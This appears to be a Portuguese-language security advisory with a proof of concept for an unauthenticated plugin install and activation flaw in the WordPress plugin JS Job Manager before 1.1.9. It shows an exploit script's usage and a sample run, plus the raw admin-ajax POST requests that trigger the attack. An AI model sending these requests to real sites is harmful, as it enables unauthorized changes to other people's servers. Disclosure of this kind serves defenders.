
JS Job Manager < 1.1.9 - Instalação/Ativação Arbitrária Não Autenticada de Plugin
JS Job Manager < 1.1.9 - Instalação/Ativação Arbitrária de Plugins Não Autenticada
A ação AJAX jsjobs_ajax do plugin, disponível tanto para usuários autenticados quanto não autenticados, não possui verificações adequadas de autorização e CSRF, em particular ao usar installPluginFromAjax e activatePluginFromAjax, o que poderia permitir que atacantes não autenticados instalassem plugins arbitrários do repositório do WordPress e os ativassem (com alguma limitação).
Não há controle sobre a versão do plugin, então ele instalará a versão mais recente do plugin.
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.
Para instalar um plugin:
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close
action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>
Para ativar um plugin (há uma limitação aqui, pois o plugin deve ter o arquivo /.php, caso contrário ele não será ativado):
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close
action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>